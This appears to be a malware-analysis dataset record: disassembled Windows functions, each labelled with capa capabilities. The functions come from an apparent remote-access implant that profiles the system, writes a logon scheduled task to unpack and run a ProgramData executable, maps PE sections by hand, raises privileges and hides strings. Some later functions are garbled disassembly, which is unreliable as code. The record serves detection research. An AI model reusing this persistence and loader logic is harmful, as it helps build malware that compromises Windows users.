joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c8b4
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c4
mov byte [ebp - 0x4c0], 0xc8
push 0x10037118
push str.SYSTEMCurrentControlSetServices_s
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x20
push 0
lea ecx, [ebp - 0x498]
push ecx
call fcn.10012110
add esp, 0xc
push 0
lea edx, [ebp - 0x4bf]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0
lea eax, [ebp - 0x4bf]
push eax
push 1
push str.Groupfenzhu
push str.Console
push closesocket
call fcn.100112d9
add esp, 0x20
cmp eax, 1
jge 0x1000c93c
push 0x10037212
lea ecx, [ebp - 0x4bf]
push ecx
call fcn.10012380
add esp, 8
push 0x10
push 0
lea edx, [ebp - 0x11c]
push edx
call fcn.10012110
add esp, 0xc
mov dword [ebp - 0x4c4], 0x10
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x11c]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x48]
push eax
call dword [0x1003f92c]
push 4
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x49c]
push edx
call fcn.100118b0
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push 0x32
lea ecx, [ebp - 0x498]
push ecx
call fcn.1000be4a
add esp, 0xc
mov dword [ebp - 0x434], 0x9c
lea edx, [ebp - 0x434]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x42c]
push ecx
lea edx, [ebp - 0x430]
push edx
call fcn.1000c4bf
add esp, 0xc
call fcn.1000bfc3
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x370], al
lea eax, [ebp - 0x38c]
push eax
call fcn.1000bdea
add esp, 4
lea ecx, [ebp - 0x30e]
push ecx
call fcn.1000c633
add esp, 4
call fcn.1000c400
push eax
lea edx, [ebp - 0x336]
push edx
call fcn.10012370
add esp, 8
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x10c], 8
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x108]
cmp eax, reloc.USER32.dll_SendMessageA
jbe 0x1000ca5a
mov dword [ebp - 0x2ec], 1
mov dword [ebp - 0x268], 0x40
lea ecx, [ebp - 0x268]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0
push 0x400
mov edx, dword [ebp - 0x25c]
push edx
mov eax, dword [ebp - 0x260]
push eax
call fcn.100133d0
push 0
push 0x400
push edx
push eax
call fcn.100133d0
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], edx
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x36c], ecx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x378], edx
call fcn.1000bc5e
mov dword [ebp - 0x374], eax
push str._7.29
lea eax, [ebp - 0x466]
push eax
call fcn.10012370
add esp, 8
push 0x80
lea ecx, [ebp - 0x2e8]
push ecx
push str.RDP_Tcp
call fcn.1000c36c
add esp, 0xc
push 0x32
lea edx, [ebp - 0x368]
push edx
lea eax, [ebp - 0x228]
push eax
call fcn.1000c010
add esp, 0xc
push 0x258
lea ecx, [ebp - 0x4c0]
push ecx
mov ecx, dword [ebp + 8]
call fcn.10001cf5
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
mov esp, ebp
pop ebp
ret
Function at 0x1000d119
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 4], 0
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x1000d149
mov byte [ebp - 4], 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0xee2
push str.__xml_version_1.0__encoding_UTF_16____r_n_Task_version_1.2__xmlns_http:__schemas.microsoft.com_windows_2004_02_mit_task___r_n___RegistrationInfo__r_n_____Date_2022_10_24T03:31:27__Date__r_n_____Author_Administrator__Author__r_n____RegistrationInfo__r_n___Triggers__r_n_____LogonTrigger__r_n_______StartBoundary_2022_10_24T03:31:00__StartBoundary__r_n_______Enabled_true__Enabled__r_n______LogonTrigger__r_n____Triggers__r_n___Principals__r_n_____Principal_id_Author___r_n_______UserId_Administrator__UserId__r_n_______LogonType_InteractiveToken__LogonType__r_n_______RunLevel_HighestAvailable__RunLevel__r_n______Principal__r_n____Principals__r_n___Settings__r_n_____MultipleInstancesPolicy_IgnoreNew__MultipleInstancesPolicy__r_n_____DisallowStartIfOnBatteries_false__DisallowStartIfOnBatteries__r_n_____StopIfGoingOnBatteries_false__StopIfGoingOnBatteries__r_n_____AllowHardTerminate_false__AllowHardTerminate__r_n_____StartWhenAvailable_false__StartWhenAvailable__r_n_____RunOnlyIfNetworkAvailable_false__RunOnlyIfNetworkAvailable__r_n_____IdleSettings__r_n_______StopOnIdleEnd_true__StopOnIdleEnd__r_n_______RestartOnIdle_false__RestartOnIdle__r_n______IdleSettings__r_n_____AllowStartOnDemand_true__AllowStartOnDemand__r_n_____Enabled_true__Enabled__r_n_____Hidden_false__Hidden__r_n_____RunOnlyIfIdle_false__RunOnlyIfIdle__r_n_____WakeToRun_false__WakeToRun__r_n_____ExecutionTimeLimit_PT0S__ExecutionTimeLimit__r_n_____Priority_7__Priority__r_n_____RestartOnFailure__r_n_______Interval_PT1M__Interval__r_n_______Count_3__Count__r_n______RestartOnFailure__r_n____Settings__r_n___Actions_Context_Author___r_n_____Exec__r_n_______Command_C:ProgramDataDataun.exe__Command__r_n_______Arguments_x__o___ppoiuytrewq_C:ProgramDataDataupx.rar_iusb3mon.exe_C:ProgramDataProgram__st__Arguments__r_n______Exec__r_n_____Exec__r_n_______Command_C:ProgramDataProgramiusb3mon.exe__Command__r_n_______WorkingDirectory_C:ProgramDataProgram__WorkingDirectory__r_n______Exec__r_n____Actions__r_n__Task_
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000d16b
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x1000e743
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
xor ecx, ecx
mov cx, word [edx + 0x14]
lea edx, [eax + ecx + 0x18]
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], 0
jmp 0x1000e784
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
add ecx, 0x28
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
xor ecx, ecx
mov cx, word [eax + 6]
cmp dword [ebp - 0x14], ecx
jge 0x1000e837
mov edx, dword [ebp - 8]
cmp dword [edx + 0x10], 0
jne 0x1000e7eb
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x38]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jle 0x1000e7e9
push 4
push 0x1000
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
push ecx
push 0
mov edx, dword [ebp - 0xc]
push edx
call fcn.10012110
add esp, 0xc
jmp 0x1000e772
push 4
push 0x1000
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
add eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.100118b0
add esp, 0xc
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 8], ecx
jmp 0x1000e772
mov esp, ebp
pop ebp
ret
Function at 0x1000e83b
Capabilities:
Enumerate pe sections
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp + 8]
mov eax, dword [edx]
xor edx, edx
mov dx, word [eax + 0x14]
lea eax, [ecx + edx + 0x18]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x1000e873
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x28
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
xor edx, edx
mov dx, word [ecx + 6]
cmp dword [ebp - 8], edx
jge 0x1000e98c
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x24]
and ecx, 0x20000000
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
and eax, 0x40000000
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x24]
and edx, 0x80000000
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x24]
and ecx, 0x2000000
test ecx, ecx
je 0x1000e8f3
push 0x4000
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1000e861
mov eax, dword [ebp - 0x10]
shl eax, 4
mov ecx, dword [ebp - 0x20]
lea edx, [eax + ecx*8 + 0x1003a730]
mov eax, dword [ebp - 0xc]
mov ecx, dword [edx + eax*4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
and eax, 0x4000000
test eax, eax
je 0x1000e924
mov ecx, dword [ebp - 0x18]
or ch, 2
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x1000e968
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x24]
and edx, 0x40
test edx, edx
je 0x1000e94d
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x20]
mov dword [ebp - 0x14], edx
jmp 0x1000e968
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x24]
and ecx, 0x80
test ecx, ecx
je 0x1000e968
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [eax + 0x24]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0
jbe 0x1000e987
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1000e861
mov esp, ebp
pop ebp
ret
Function at 0x10010a52
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x10], ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0x1c]
push edx
mov eax, dword [ebp + 0x18]
push eax
lea ecx, [ebp - 0x14]
push ecx
push 0x10010a00
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.100138fd
add esp, 0x18
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10010b08
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
push 0x128
call fcn.100121e4
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ecx], 0x128
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10010bac
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call fcn.10016f40
add esp, 8
test eax, eax
jne 0x10010b76
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
jmp 0x10010baf
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10010bac
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10010baa
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
jmp 0x10010baf
jmp 0x10010b76
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x10010bb3
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10027550
push 0x100132f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffed0
push ebx
push esi
push edi
push 0x1003ac3c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x2c], eax
push str.GetThreadDesktop
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x140], eax
push 0x1003ac8c
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x38], eax
push 0x1003ac9c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x30], eax
push str.GetCurrentThreadId
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
call dword [ebp - 0x1c]
push eax
call dword [ebp - 0x3c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 1
mov dword [ebp - 4], 0
lea edx, [ebp - 0x34]
push edx
push 0x100
lea eax, [ebp - 0x13c]
push eax
push 2
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x20]
test eax, eax
jne 0x10010c90
mov dword [ebp - 0x28], 0
jmp 0x10010cae
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x140]
test eax, eax
jne 0x10010ca7
mov dword [ebp - 0x28], 0
jmp 0x10010cae
mov eax, dword [ebp - 0x24]
push eax
call dword [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call fcn.10010cbc
jmp 0x10010cdd
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10010cf1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10027560
push 0x100132f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffcc
push ebx
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x44], 0x4f
mov byte [ebp - 0x43], 0x70
mov byte [ebp - 0x42], 0x65
mov byte [ebp - 0x41], 0x6e
mov byte [ebp - 0x40], 0x49
mov byte [ebp - 0x3f], 0x6e
mov byte [ebp - 0x3e], 0x70
mov byte [ebp - 0x3d], 0x75
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x3b], 0x44
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], 0x73
mov byte [ebp - 0x38], 0x6b
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x6f
mov byte [ebp - 0x35], 0x70
mov byte [ebp - 0x34], 0
lea eax, [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
push str.OpenDesktopA
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push str.CloseDesktop
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x10010dc4
push 0x1ff
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
jmp 0x10010dd3
push 0x1ff
push 0
push 0
call dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x10010de2
mov dword [ebp - 0x20], 0
jmp 0x10010e00
mov edx, dword [ebp - 0x2c]
push edx
call fcn.10010bb3
add esp, 4
test eax, eax
jne 0x10010e00
mov eax, dword [ebp - 0x2c]
push eax
call dword [ebp - 0x30]
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0xffffffff
call fcn.10010e0e
jmp 0x10010e1f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10011026
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov byte [ebp - 0x20], 1
push 0x1003ad50
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x2c], eax
push str.OpenProcessToken
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
push str.AdjustTokenPrivileges
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push str.LookupPrivilegeValueA
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x1003ada4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
push str.GetCurrentProcess
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x38]
push ecx
push 0x28
call dword [ebp - 0x30]
push eax
call dword [ebp - 0x34]
test eax, eax
jne 0x100110b6
mov byte [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
and eax, 0xff
jmp 0x10011147
mov dword [ebp - 0x1c], 1
mov edx, dword [ebp + 0xc]
neg edx
sbb edx, edx
and edx, 2
mov dword [ebp - 0x10], edx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [ebp - 4]
push 0
push 0
push 0x10
lea edx, [ebp - 0x1c]
push edx
push 0
mov eax, dword [ebp - 0x38]
push eax
call dword [ebp - 0x28]
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x24], eax
push str.GetLastError
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
call dword [ebp - 8]
test eax, eax
je 0x10011115
mov byte [ebp - 0x20], 0
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x2c], 0
je 0x1001112f
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0xc], 0
je 0x1001113f
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
and eax, 0xff
mov esp, ebp
pop ebp
ret
Function at 0x1001187d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1001189e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x1001189e
xor eax, eax
jmp 0x100118a3
mov eax, 1
pop ebp
ret

Function at 0x10012547
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10012567
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10016671
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x1001258a
test byte [esp + 8], 2
je 0x1001258a
call fcn.100166e4
mov dword [eax], 0xd
call fcn.100166ed
mov dword [eax], 5
jmp 0x10012563
xor eax, eax
ret
Function at 0x401750
Capabilities:
Terminate process

Disassembly:
lcall 0x40, 0xe51a0040
add dword [ebx + 0x40], esp
add bl, dl
adc dword [eax], eax
sub dword [edi + 0x40], ecx
add byte [esi + 0x14], dh
inc eax
add byte [ebp - 0x20ffbfec], al
adc al, 0x40
add bl, dh
adc al, 0x40
add byte [esi], dl
adc eax, 0x1b000016
add dword [ebx], ebx
sbb edx, dword [eax]
sbb ebx, dword [esi + 0x1bd81b7b]
sbb ebx, dword [ebx]
sbb eax, dword [ebx]
ja 0x401735
add al, 5
mov ah, 6
cli
pop es
mov ss, word [edx + 0x1b0ed41b]
sbb eax, dword [ebx]
sbb esp, dword [edx + 0x1b510ad1]
les ecx, [0x1b0f1b0e]
sbb edx, dword [eax]
sbb edx, dword [ecx]
adc dl, byte [ebx]
push ss
adc byte [ebx], bl
adc dword [edx], edx
adc edx, dword [esi]
adc al, 0x15
mov word [ebp + 0xb], es
xor bl, byte [edx]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
mov eax, dword [ebp + 4]
mov ecx, dword [str.Missing_parameter_for_the_specified_command_line_option]
jno 0x4016e1
rol dword [eax + 0x68], 0x74
shr byte [eax], cl
add byte [ecx - 1], dl
adc eax, 0x5a40c180
mov eax, dword [0x3e41023d]
push cs
les ecx, [eax*4 + 0x500f74c0]
push str.Total_of__d_requests_completed_n
call dword [0x402664]
add esp, 8
push 1
call dword [sym.imp.MSVCRT.dll_exit]
nop
push ebp
mov ebp, esp
mov byte [0xb8ec], al
or al, 0xa1
js 0x40179e
inc ecx
pop edx
test eax, eax
mov eax, dword [0x41404c]
je 0x4017bb
jo 0x4017e9
cmp al, 0x41
add byte [eax - 0x18], dl
sahf
inc eax
add byte [eax], al
outsb dx, byte [esi]
cmpsd dword [esi], dword es:[edi]
or eax, 0xe3410274
pushal
adc al, 0x8b
adc eax, 0x41b800
mov edx, dword [0x41b800]
push edx
push eax
call 0x79665850
mov cx, word [0xb717f4]
scasb al, byte es:[edi]
xchg dword [ebx], edx
inc ecx
add byte [esi + 0x4a], bh
add al, byte [ecx]
push ebx
push esi
mov esi, dword [0x54b57664]
mov word [0x1e0bb4], cx
test eax, eax
push edi
jne 0x40184a
rcl byte [edi + 0x75], 0x5d
mov edx, dword [0x411800]
push edx
push 0xbe40d498
ljmp 0x41
mov edx, dword [0x40d0b7]
mov esi, dword [sym.imp.MSVCRT.dll_calloc]
push 0xb664
push edx
call esi
mov dword [0x560bb0], eax
mov eax, dword [0x2cd048]
sub byte [eax], ah
mov dh, byte [ebx]
mov ecx, dword es:[0x41ea4c]
push cs
adc eax, 0x5dd018
xor dword [edi + 0xbc8a310], 0x6b
add byte [edx], ch
push ecx
cmp al, 0x68
clc
pop ss
inc ecx
add al, ch
add dword [edi], 0x74ee6600
push cs
push eax
push 0xb0d49a
call fcn.00401dd7
jmp 0x7ca62131

Function at 0x404f60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov eax, dword [ebp - 0x63]
dec edi
sal byte [ebp + 0xb], 0x8b
or eax, 0x410206
mov dword [ebp + 0xc], ecx
mov eax, ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
jne 0x404f8f
inc eax
sal byte [esi + eax - 0x75], 0xfd
and byte [esi + 0x55], dh
adc bl, bh
sti
mov ebx, dword [ebp - 0xd]
push esi
push edi
and bl, bl
add al, 3
fstp qword [eax + 0x18]
mov eax, dword [ebx]
xor dword [ecx], eax
adc byte [ecx], dl
cmpsd dword [esi], dword es:[edi]
invalid
Function at 0x405cf7
Capabilities:
Query environment variable

Disassembly:
add bl, ch
call dword [esi + 4]
add esp, 0x10
mov edi, dword [edx + 0x10]
mov cl, byte [esi - 6]
pop edi
mov eax, 0x3117c
mov byte [edx], cl
pop esi
pop ebp
and dl, byte [eax]
add byte [eax - 0x6f6f6f70], dl
push ss
nop
nop
pushal
xchg ebx, eax
nop
add byte [eax - 0x1374aa70], dl
push ecx
push esi
push edi
call 0xc0207020
test dword [eax + 0x7ffd4a0f], ebp
add byte [eax], al
sbb dword [ebp + 0x4108dc], 0x14
add cl, byte [esi + ebp*8 - 0x5eb90000]
test byte [ebx], al
inc ecx
add byte [ebp - 0x1e19a274], al
add byte [eax], al
add bh, al
add eax, 0x4f412b84
aaa
add byte [eax], al
add bh, bh
adc eax, 0xabbb5c
mov esi, eax
test esi, esi
je 0x405db3
mov eax, dword [0xd00358]
test eax, eax
jne 0x405da1
push eax
push 0x8c408110
push 4
call 0x24fa940
add esp, 0xc
mov dword [0x411e58], eax
test eax, eax
das
test byte [edi - 0x73000000], ch
movsd dword es:[edi], dword [esi]
mov dword [ecx + 0x56], edx
lodsd eax, dword [esi]
ror byte [ebx - 0x54097a10], 1
cmp dword [ebx + 0x458bfc55], ecx
or al, 0x52
push esi
push eax
call fcn.0040a5d0
dec eax
add byte [eax], al
mov ecx, dword [ebp + 8]
add esp, 0x72
push esi
cmp al, byte [ecx]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov ebx, eax
push 0xffffffffffffffff
push ebx
jmp [edx + 0xf4c124]